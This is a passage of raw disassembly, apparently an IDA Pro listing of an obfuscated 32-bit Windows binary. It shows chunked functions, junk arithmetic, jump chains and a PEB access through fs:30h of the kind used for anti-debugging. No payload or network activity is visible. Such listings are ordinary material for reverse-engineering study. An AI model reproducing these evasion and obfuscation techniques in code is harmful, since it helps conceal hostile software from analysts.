sub_4242D6 endp ; --------------------------------------------------------------------------- loc_4242E1: ; CODE XREF: wto1jq8f:004247FAj jb loc_42C5D4 not ecx jmp loc_424D27 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B705 loc_4242EE: ; CODE XREF: sub_42B705-4A9Fj mov [ebp-24h], eax mov eax, [ebp-24h] mov esp, ebp pop ebp retn ; END OF FUNCTION CHUNK FOR sub_42B705 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4242F8 proc near ; CODE XREF: sub_426C53+4p ; sub_42B705+Ep var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 ; FUNCTION CHUNK AT 004273D0 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D65D SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0042EA1C SIZE 00000010 BYTES push ebp mov ebp, esp add esp, 0FFFFFFF8h jmp loc_4273D0 sub_4242F8 endp ; --------------------------------------------------------------------------- loc_424303: ; CODE XREF: wto1jq8f:00424CD2j or edx, 0B03F2CD1h ; =============== S U B R O U T I N E ======================================= sub_424309 proc near ; CODE XREF: wto1jq8f:00428C4Ap var_8 = dword ptr -8 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00424491 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00424DB7 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042679C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042694B SIZE 00000005 BYTES mov [esp+0], esi pop esi xor [esp-4+arg_0], eax jmp loc_42694B sub_424309 endp ; sp-analysis failed ; --------------------------------------------------------------------------- push offset loc_4266CA jmp loc_42E718 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429281 loc_42431F: ; CODE XREF: sub_429281-F0Cj jz loc_424294 jmp loc_429454 ; END OF FUNCTION CHUNK FOR sub_429281 ; --------------------------------------------------------------------------- jb loc_426895 jle near ptr nullsub_28 jmp loc_426FFA ; =============== S U B R O U T I N E ======================================= sub_42433B proc near ; CODE XREF: sub_426E98+134p ; FUNCTION CHUNK AT 00424B6B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426A48 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00426A54 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042CC05 SIZE 0000000A BYTES mov [esp+0], edi pop edi jz loc_426A54 mov dword ptr [ebp-8], 1 jmp loc_424B6B sub_42433B endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424351 proc near ; CODE XREF: sub_426E98j push ebp mov ebp, esp jmp sub_42CBEE sub_424351 endp ; --------------------------------------------------------------------------- db 0E8h, 26h, 0B8h dd 0C4E90000h ; CODE XREF: sub_4259FF+119Aj db 47h, 2 dup(0) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_41. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- loc_424364: ; CODE XREF: wto1jq8f:004297C3j jmp loc_4289AB ; --------------------------------------------------------------------------- loc_424369: ; CODE XREF: wto1jq8f:0042EAA5j mov [edx], al call sub_42A197 loc_424370: ; CODE XREF: wto1jq8f:0042C1DCj jmp loc_42D0F2 ; --------------------------------------------------------------------------- loc_424375: ; DATA XREF: sub_42A7E2+3o push ecx mov esp, ebp push offset sub_4263A6 jmp loc_424CD8 ; =============== S U B R O U T I N E ======================================= sub_424382 proc near ; CODE XREF: sub_429B6D+16B5p push offset sub_4247C1 jmp locret_4265A3 sub_424382 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429BFF loc_42438C: ; CODE XREF: sub_429BFF:loc_42CCDEj push 4 push 8EB45F72h pop eax xor eax, 8DBB329Ah or eax, 1A9863B8h cmp eax, 933622F6h jmp loc_42C8B6 ; END OF FUNCTION CHUNK FOR sub_429BFF ; --------------------------------------------------------------------------- loc_4243AB: ; CODE XREF: wto1jq8f:loc_429081j cmp eax, 0C3C033h jnz loc_42A503 jmp loc_4243FB ; --------------------------------------------------------------------------- mov edx, 0CB39536Bh call sub_429165 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_42ADBE jmp loc_42857F ; =============== S U B R O U T I N E ======================================= sub_4243D7 proc near ; CODE XREF: sub_42D9FC-9374j ; wto1jq8f:00425ED7p ... var_8 = dword ptr -8 ; FUNCTION CHUNK AT 00426227 SIZE 00000020 BYTES ; FUNCTION CHUNK AT 0042A63D SIZE 00000005 BYTES push eax push eax push 0E28BF2F6h pop eax or eax, 3F7DEBF4h jmp loc_42A63D sub_4243D7 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424D58 loc_4243EA: ; CODE XREF: sub_424D58-2E2j jz loc_4292D5 jmp loc_426714 ; END OF FUNCTION CHUNK FOR sub_424D58 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_31. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_4243F6: ; CODE XREF: sub_42606D-611j jmp loc_428D3C ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- loc_4243FB: ; CODE XREF: wto1jq8f:004243B6j jmp loc_426FA3 ; --------------------------------------------------------------------------- jz loc_42E679 ; =============== S U B R O U T I N E ======================================= sub_424406 proc near ; CODE XREF: wto1jq8f:loc_42491Ap ; FUNCTION CHUNK AT 004244AB SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00425A0F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00426946 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004291F5 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042EE38 SIZE 0000002F BYTES xchg edi, [esp+0] pop edi mov eax, ds:dword_429068 or eax, eax jmp loc_426946 sub_424406 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424417: ; CODE XREF: wto1jq8f:0042D1EEj jno sub_4263A6 sbb ebx, eax jmp loc_427123 ; --------------------------------------------------------------------------- xchg ebx, [esi] jmp loc_42CA0C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A8ED loc_42442B: ; CODE XREF: sub_42A8ED:loc_42D12Ej mov ds:byte_425920, 1 lea eax, [ebp-14h] xor edx, edx call sub_42A56D loc_42443C: ; CODE XREF: wto1jq8f:loc_42BD54j ; sub_42A8ED:loc_42D376j mov eax, ds:dword_42FB44 mov [ebp-4], eax mov eax, [ebp-4] jmp loc_42CAD3 ; END OF FUNCTION CHUNK FOR sub_42A8ED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42606D loc_42444C: ; CODE XREF: sub_42606D+889Ej push edx loc_42444D: ; CODE XREF: sub_42606D:loc_428D3Cj mov eax, [ebp-4] call sub_428AC6 loc_424455: ; CODE XREF: sub_42C43B:loc_42C6F4j popf and ecx, edx call sub_42DE77 jnp sub_4287DA jmp loc_428CE4 ; END OF FUNCTION CHUNK FOR sub_42606D ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4287DA loc_424469: ; CODE XREF: sub_4287DA+6j jmp nullsub_77 ; END OF FUNCTION CHUNK FOR sub_4287DA ; --------------------------------------------------------------------------- loc_42446E: ; CODE XREF: wto1jq8f:00429DA7j call near ptr sub_42ADC7 ; START OF FUNCTION CHUNK FOR sub_42A909 loc_424473: ; CODE XREF: sub_42A909+3E1Bj jo loc_427417 call near ptr sub_42CB36 test al, al jmp loc_428E4D ; END OF FUNCTION CHUNK FOR sub_42A909 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4269FD loc_424485: ; CODE XREF: sub_42DC5C+74j ; sub_4269FD+7CCDj or ecx, ecx loc_424487: ; CODE XREF: sub_427D00:loc_427880j push offset byte_42BA47 jmp loc_42C168 ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424309 loc_424491: ; CODE XREF: sub_424309:loc_42679Cj push 0 push eax lea eax, loc_42D469 call loc_42F36F ; END OF FUNCTION CHUNK FOR sub_424309 ; START OF FUNCTION CHUNK FOR sub_42D86F loc_42449F: ; CODE XREF: sub_42D86F+3j jmp locret_42A4B7 ; END OF FUNCTION CHUNK FOR sub_42D86F ; --------------------------------------------------------------------------- loc_4244A4: ; CODE XREF: wto1jq8f:0042D1D6j mov ds:dword_429068, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_424406 loc_4244AB: ; CODE XREF: sub_424406:loc_4291F5j ror eax, 1Ah push eax call sub_42D765 retn ; END OF FUNCTION CHUNK FOR sub_424406 ; --------------------------------------------------------------------------- or ebp, 0EE97813Dh jmp sub_429E99 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E961 loc_4244C0: ; CODE XREF: sub_42E961+Dj xor edx, edx push edx ; END OF FUNCTION CHUNK FOR sub_42E961 ; START OF FUNCTION CHUNK FOR sub_4264F4 loc_4244C3: ; CODE XREF: sub_4264F4:loc_426341j push eax mov eax, [ebp-18h] add eax, eax cdq add eax, [esp+8+var_8] jmp loc_426A72 ; END OF FUNCTION CHUNK FOR sub_4264F4 ; --------------------------------------------------------------------------- loc_4244D2: ; CODE XREF: wto1jq8f:00428D6Cj add edx, 0A90D7365h sbb ecx, ebx push offset loc_42DC99 jmp locret_429CA2 ; --------------------------------------------------------------------------- loc_4244E4: ; CODE XREF: wto1jq8f:00424E4Dj jno loc_427D3C ; =============== S U B R O U T I N E ======================================= sub_4244EA proc near ; CODE XREF: sub_42DE65-2693p var_3E04AB2 = word ptr -3E04AB2h ; FUNCTION CHUNK AT 00424E3C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00424F1E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427CB8 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00428979 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00428DA3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042934D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00429E1E SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00429E88 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042A4DF SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0042AA49 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B38E SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042B97F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042BA01 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0042C4CA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042CFB3 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0042D7A8 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042DB92 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0042DF97 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042F5DD SIZE 00000057 BYTES ; FUNCTION CHUNK AT 0042F65B SIZE 00000038 BYTES ; FUNCTION CHUNK AT 0042F93C SIZE 0000000E BYTES mov [esp+0], esi pop esi cmp ds:dword_425108[eax*4], 0 jz loc_42A4DF mov eax, [ebp-4] jmp loc_42BA01 sub_4244EA endp ; sp-analysis failed ; --------------------------------------------------------------------------- ja loc_42C3D9 jmp loc_42A32C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E3FD loc_42450F: ; CODE XREF: sub_42E3FD+1Dj xor eax, 28487859h pop ebx pop eax pop ecx jmp loc_42476D ; END OF FUNCTION CHUNK FOR sub_42E3FD ; --------------------------------------------------------------------------- loc_42451D: ; CODE XREF: wto1jq8f:loc_429E83j call sub_42821F ; START OF FUNCTION CHUNK FOR sub_42B565 loc_424522: ; CODE XREF: sub_42B565+14j jmp loc_42AAA4 ; END OF FUNCTION CHUNK FOR sub_42B565 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429308 loc_424527: ; CODE XREF: sub_429308:loc_4241A8j xor [ebp-4], eax cmp dword ptr [ebp-4], 0 call sub_42483B ; END OF FUNCTION CHUNK FOR sub_429308 ; START OF FUNCTION CHUNK FOR sub_42628C loc_424533: ; CODE XREF: sub_42628C+4920j jmp loc_42701C ; END OF FUNCTION CHUNK FOR sub_42628C ; --------------------------------------------------------------------------- loc_424538: ; CODE XREF: wto1jq8f:004268A5j jmp loc_427CC9 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_171. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- sbb eax, 0A5508D4Dh jmp loc_42C075 ; --------------------------------------------------------------------------- or esi, 121F6BF5h jmp loc_4283F0 ; --------------------------------------------------------------------------- loc_424554: ; CODE XREF: wto1jq8f:0042E6A5j mov [esi], edx ; =============== S U B R O U T I N E ======================================= sub_424556 proc near ; CODE XREF: sub_42CBD1-5C1Ep ; sub_426535:loc_427E04j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00426F4C SIZE 0000000A BYTES xchg edx, [esp+0] pop edx mov eax, [ebp-4] push eax push edi mov edi, ecx xchg edi, [esp+4+var_4] jmp loc_426F4C sub_424556 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42BE69 loc_424569: ; CODE XREF: sub_42BE69-27BBj push offset loc_428DF7 jmp nullsub_25 ; END OF FUNCTION CHUNK FOR sub_42BE69 ; --------------------------------------------------------------------------- byte_424573 db 3Ch ; DATA XREF: wto1jq8f:0042C07Bo dd 99850FA4h, 0E9000092h, 0B571h, 928FE9h db 0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_424585 proc near ; CODE XREF: sub_42CFE2-8FD7p ; wto1jq8f:00424142j ... var_14 = byte ptr -14h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00425A31 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004262E3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0042784C SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00427B25 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00428840 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042A07D SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0042A3D0 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0042BD27 SIZE 00000005 BYTES push ebp mov ebp, esp jb sub_428DBE add esp, 0FFFFFFECh mov eax, (offset loc_42FB67+1) jmp loc_42784C sub_424585 endp ; =============== S U B R O U T I N E ======================================= sub_42459B proc near ; DATA XREF: sub_425944+8C29o ; FUNCTION CHUNK AT 0042D403 SIZE 0000000A BYTES jnz loc_42D403 sub_42459B endp ; START OF FUNCTION CHUNK FOR sub_425944 loc_4245A1: ; CODE XREF: wto1jq8f:00424FC1j ; sub_425944:loc_42617Aj ... pop ecx pop ecx pop ebp jmp loc_42CBBC ; END OF FUNCTION CHUNK FOR sub_425944 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_428A19 loc_4245A9: ; CODE XREF: wto1jq8f:004281BEj ; sub_428A19+13j ... mov dword ptr [ebp-8], 1 jmp near ptr loc_42EFFB+1 ; END OF FUNCTION CHUNK FOR sub_428A19 ; =============== S U B R O U T I N E ======================================= sub_4245B5 proc near ; CODE XREF: sub_42ADC7:loc_425C4Dp ; sub_4293FF+6p ... ; FUNCTION CHUNK AT 004272DE SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0042D47E SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0042D536 SIZE 00000005 BYTES jno sub_425B8C push ebp mov ebp, esp jmp loc_42D536 sub_4245B5 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D00 loc_4245C3: ; CODE XREF: sub_427D00:loc_42C75Aj jnz loc_42E6AA jmp loc_4250A3 ; END OF FUNCTION CHUNK FOR sub_427D00 ; --------------------------------------------------------------------------- rol ebp, 15h jmp near ptr sub_424702 ; --------------------------------------------------------------------------- xchg ecx, [esp] pop ecx mov eax, [ebp-4] mov eax, [eax] and eax, 0FFFFFFh jmp loc_429081 ; --------------------------------------------------------------------------- jnz loc_4264E4 jmp loc_424F90 ; --------------------------------------------------------------------------- jno loc_426D52 jmp sub_42EAED ; =============== S U B R O U T I N E ======================================= sub_4245FF proc near ; CODE XREF: wto1jq8f:0042A703p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 004274B8 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push 66C50F1Dh pop eax add eax, 997D6B60h xchg eax, [esp-4+arg_0] jmp loc_4274B8 sub_4245FF endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_424617: ; CODE XREF: wto1jq8f:0042A97Bj pop eax rol eax, 0Bh add eax, 0C16EA896h push 60F74CEBh pop edx add edx, 9D2561E0h rol edx, 0Bh jmp loc_427CB3 ; =============== S U B R O U T I N E ======================================= sub_424635 proc near ; CODE XREF: sub_42CB36-844Ep ; FUNCTION CHUNK AT 0042E18A SIZE 00000005 BYTES mov [esp+0], ecx pop ecx push 0 push offset loc_429F1A jmp loc_42E18A sub_424635 endp ; --------------------------------------------------------------------------- test eax, 0DFA90653h jmp loc_42B98A ; --------------------------------------------------------------------------- pop ecx push 0A6D0CA55h pop eax sub eax, 0F94E0BB1h or eax, 42B0898Ah jmp loc_42C8E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_424668: ; CODE XREF: sub_42D9FC:loc_4273BAj ; sub_42D9FC+1172j call sub_427488 loc_42466D: ; DATA XREF: sub_42DC5C-C5Fo push 2EF8AD77h pop esi and esi, ds:4000F5h or esi, 8C46BDF6h add esi, 5363D301h xchg esi, [esp+0] jmp sub_4243D7 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42468D: ; CODE XREF: sub_42DC5C+38j rol ebx, 0Ah loc_424690: ; CODE XREF: sub_42DC5C:loc_42DC7Aj add ecx, 8E51FED4h xchg ecx, [esp+0] jmp loc_42ACE8 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- locret_42469E: ; CODE XREF: wto1jq8f:004294CDj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_42469F: ; CODE XREF: sub_42DC5C+139j jmp nullsub_89 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42750A loc_4246A4: ; CODE XREF: sub_42750A-CAAj jmp loc_4268DA ; END OF FUNCTION CHUNK FOR sub_42750A ; --------------------------------------------------------------------------- add edi, 0A55C96BEh jmp sub_426E65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4263B3 loc_4246B4: ; CODE XREF: sub_4263B3+13j add ebx, 0C1D66915h push offset loc_42413F jmp nullsub_80 ; END OF FUNCTION CHUNK FOR sub_4263B3 ; --------------------------------------------------------------------------- locret_4246C4: ; CODE XREF: wto1jq8f:loc_427CAEj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42D9FC loc_4246C5: ; CODE XREF: sub_42D9FC-3F2Ej jmp loc_42BD14 ; END OF FUNCTION CHUNK FOR sub_42D9FC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_4246CA: ; CODE XREF: sub_42CB36-8449j rol edx, 0Bh or ecx, esi jmp loc_4267E6 ; END OF FUNCTION CHUNK FOR sub_42CB36 ; =============== S U B R O U T I N E ======================================= sub_4246D4 proc near ; CODE XREF: wto1jq8f:00424A53p ; wto1jq8f:0042E8E4j arg_C = dword ptr 10h ; FUNCTION CHUNK AT 00427FCE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00428D5C SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0042CDF4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0042ED47 SIZE 0000000D BYTES xchg ebx, [esp+0] pop ebx add ebx, ecx pop edx jmp loc_42CDF4 sub_4246D4 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42CB36 loc_4246E0: ; CODE XREF: sub_42CB36+Ej jnz loc_42BC8F push 0 call sub_424635 jmp loc_4246CA ; END OF FUNCTION CHUNK FOR sub_42CB36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4293FF loc_4246F2: ; CODE XREF: sub_4293FF-1397j jmp loc_42C8FC ; END OF FUNCTION CHUNK FOR sub_4293FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_427D82 loc_4246F7: ; CODE XREF: sub_427D82+21DAj cmp esi, 6B910D20h jmp loc_429C4F ; END OF FUNCTION CHUNK FOR sub_427D82 ; =============== S U B R O U T I N E ======================================= sub_424702 proc far ; CODE XREF: wto1jq8f:004245D1j ; sub_429C18:loc_42D15Bp mov [esp+0], edx pop edx jnz loc_424FC7 mov eax, [ebp-4] jmp loc_42691C sub_424702 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42628C loc_424714: ; CODE XREF: sub_42628C:loc_42CF73j mov eax, [ebp-4] call sub_42D35A loc_42471C: ; CODE XREF: wto1jq8f:loc_4299E5j test al, al call sub_42903A ; END OF FUNCTION CHUNK FOR sub_42628C ; START OF FUNCTION CHUNK FOR sub_4269FD loc_424723: ; CODE XREF: sub_4269FD+775Bj jmp nullsub_61 ; END OF FUNCTION CHUNK FOR sub_4269FD ; --------------------------------------------------------------------------- loc_424728: ; CODE XREF: wto1jq8f:loc_42D60Dj add ebp, 376ADA43h jmp near ptr loc_42F0FC+2 ; --------------------------------------------------------------------------- loc_424733: ; CODE XREF: wto1jq8f:loc_42D96Fj call near ptr loc_42F612+2 loc_424738: ; CODE XREF: wto1jq8f:0042AEF4j add edi, 0CDD62523h push offset loc_428A7D jmp loc_426936 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42DC5C loc_424748: ; CODE XREF: sub_42DC5C+31Fj or ecx, ds:4000FAh add ecx, 2442537h xchg ecx, [esp+0] jmp sub_424585 ; END OF FUNCTION CHUNK FOR sub_42DC5C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4262F5 loc_42475C: ; CODE XREF: sub_4262F5+10F2j jge loc_42E9B8 xor esi, 0E3AC3CE4h jmp loc_42B11F ; END OF FUNCTION CHUNK FOR sub_4262F5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42E3FD loc_42476D: ; CODE XREF: sub_42E3FD-9EE5j pop edx pop ebp jmp loc_428B27 ; --------------------------------------------------------------------------- loc_424774: ; CODE XREF: sub_42E3FD+12j add ebx, ecx rol eax, 1Eh xor eax, 28487859h jmp loc_42B432 ; END OF FUNCTION CHUNK FOR sub_42E3FD ; --------------------------------------------------------------------------- locret_424784: ; CODE XREF: wto1jq8f:0042D55Fj retn ; --------------------------------------------------------------------------- loc_424785: ; CODE XREF: wto1jq8f:0042A10Aj jmp nullsub_41 ; --------------------------------------------------------------------------- loc_42478A: ; CODE XREF: wto1jq8f:00425E0Bj jmp locret_42784B ; --------------------------------------------------------------------------- popf jmp sub_42C698 ; --------------------------------------------------------------------------- loc_424795: ; CODE XREF: wto1jq8f:00428637j sub ecx, 0FB2DBAA3h jmp loc_42761E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A467 loc_4247A0: ; CODE XREF: sub_42A467-3630j mov eax, ecx loc_4247A2: ; CODE XREF: sub_42A467:loc_425A6Cj push offset loc_4273F7 jmp loc_424B42 ; END OF FUNCTION CHUNK FOR sub_42A467 ; --------------------------------------------------------------------------- push eax rol eax, 18h mov ds:dword_42CAE0, eax retn ; --------------------------------------------------------------------------- push 4E206D15h jmp loc_42B177 ; =============== S U B R O U T I N E ======================================= sub_4247C1 proc near ; DATA XREF: sub_424382o ; FUNCTION CHUNK AT 00429D7E SIZE 00000005 BYTES push ebx push ecx mov eax, large fs:30h push offset loc_42BDFB jmp loc_429D7E sub_4247C1 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426C04 loc_4247D4: ; CODE XREF: sub_426C04+1j mov ebp, esp jnz sub_42BE51 add esp, 0FFFFFFE4h mov [ebp-8], edx mov [ebp-4], eax xor eax, eax jmp loc_426E43 ; END OF FUNCTION CHUNK FOR sub_426C04 ; --------------------------------------------------------------------------- locret_4247EC: ; CODE XREF: wto1jq8f:00428165j retn ; --------------------------------------------------------------------------- loc_4247ED: ; CODE XREF: wto1jq8f:0042E0CCj jmp loc_42B374 ; --------------------------------------------------------------------------- loc_4247F2: ; CODE XREF: wto1jq8f:0042AB35j sub ebx, ecx cmp ecx, 9F761E91h jmp loc_4242E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42ADC7 loc_4247FF: ; CODE XREF: sub_42ADC7-2745j pop eax xor eax, 49E4350Eh add eax, 701C9428h popf jmp loc_428A8F ; END OF FUNCTION CHUNK FOR sub_42ADC7 ; --------------------------------------------------------------------------- loc_424812: ; CODE XREF: wto1jq8f:00424A3Fj push offset loc_424AB5 loc_424817: ; CODE XREF: wto1jq8f:loc_427762j jmp loc_42F639 ; =============== S U B R O U T I N E ======================================= sub_42481C proc far ; CODE XREF: wto1jq8f:loc_42B334p ; FUNCTION CHUNK AT 004294DD SIZE 0000000B BYTES xchg edx, [esp+0] pop edx mov eax, [eax-4] push eax call sub_42A4A5 test eax, eax jmp loc_4294DD sub_42481C endp ; --------------------------------------------------------------------------- loc_424830: ; CODE XREF: wto1jq8f:0042A7D8j jnz loc_42DC09 jmp loc_42C372 ; =============== S U B R O U T I N E ======================================= sub_42483B proc near ; CODE XREF: sub_429308-4DDAp xchg esi, [esp+0] pop esi setnz byte ptr [ebp-9] mov al, [ebp-9] mov esp, ebp pop ebp retn sub_42483B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A3BC loc_42484A: ; CODE XREF: sub_42A3BC+2B87j jmp loc_42F973 ; END OF FUNCTION CHUNK FOR sub_42A3BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42C6C3 loc_42484F: ; CODE XREF: sub_42C6C3+11j jmp loc_42D81C ; END OF FUNCTION CHUNK FOR sub_42C6C3 ; --------------------------------------------------------------------------- loc_424854: ; CODE XREF: wto1jq8f:0042B888j jmp loc_42A1DA ; =============== S U B R O U T I N E ======================================= sub_424859 proc far ; CODE XREF: sub_42DC5C:loc_424A82p ; FUNCTION CHUNK AT 0042B75D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0042DAED SIZE 00000005 BYTES push ebp jmp loc_42DAED sub_424859 endp ; --------------------------------------------------------------------------- call sub_424585 mov edx, 4CB976E9h call sub_429165 call sub_429017 ; START OF FUNCTION CHUNK FOR sub_42DB52 loc_424873: ; CODE XREF: sub_42DB52:loc_428F51j adc edi, 0A44687EBh rol ebp, 19h jmp loc_42A9A6 ; END OF FUNCTION CHUNK FOR sub_42DB52 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_429471 loc_424881: ; CODE XREF: sub_429471-2BC1j jnz loc_42BF3B cmp edi, edx jmp loc_42B18A ; END OF FUNCTION CHUNK FOR sub_429471 ; --------------------------------------------------------------------------- jnz loc_42A442 jmp loc_4263AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42B520 loc_424899: ; CODE XREF: sub_42B520+Aj and eax, 7 mov [ebp-14h], eax cmp dword ptr [ebp-10h], 3 push offset loc_42E1D2 jmp loc_42F383 ; END OF FUNCTION CHUNK FOR sub_42B520 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_42A30F loc_4248AD: ; CODE XREF: sub_42A30F-227Dj cmp edx, 925E668Bh jmp loc_42C129 ; END OF FUNCTION CHUNK FOR sub_42A30F ; --------------------------------------------------------------------------- dd 790D840Fh, 8B550000h, 85E8E045h, 0E9000017h, 0B024h ; --------------------------------------------------------------------------- locret_4248CC: ; CODE XREF: wto1jq8f:loc_42B57Fj retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426950 loc_4248CD: ; CODE XREF: sub_426950:loc_42BB0Dj jnz loc_4263E7 jmp loc_42A5F1 ; END OF FUNCTION CHUNK FOR sub_426950 ; --------------------------------------------------------------------------- cdq loc_4248D9: ; CODE XREF: wto1jq8f:loc_42CBC6j add dword ptr [esi], 0F80486h ; START OF FUNCTION CHUNK FOR sub_424907 loc_4248DF: ; CODE XREF: wto1jq8f:00425E21j ; wto1jq8f:loc_426035j ... pop edi pop esi jmp loc_4293BB ; END OF FUNCTION CHUNK FOR sub_424907 ; --------------------------------------------------------------------------- loc_4248E6: ; CODE XREF: wto1jq8f:0042E770j mov [esp], edx pop edx xchg esi, [esp] jmp sub_429165 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_426535 loc_4248F2: ; CODE XREF: sub_424BD4:loc_428FC1j ; sub_426535+2EE9j call sub_426E98 pop ecx shl eax, 3 mov edx, [ebp+8] or [edx-8], eax jmp loc_42A80D ; END OF FUNCTION CHUNK FOR sub_426535 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_43. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= sub_424907 proc near ; CODE XREF: sub_426535:loc_4265CFp ; wto1jq8f:0042B4E3j arg_8 = dword ptr 0Ch ; FUNCTION CHUNK AT 004248DF SIZE 00000007 BYTES ; 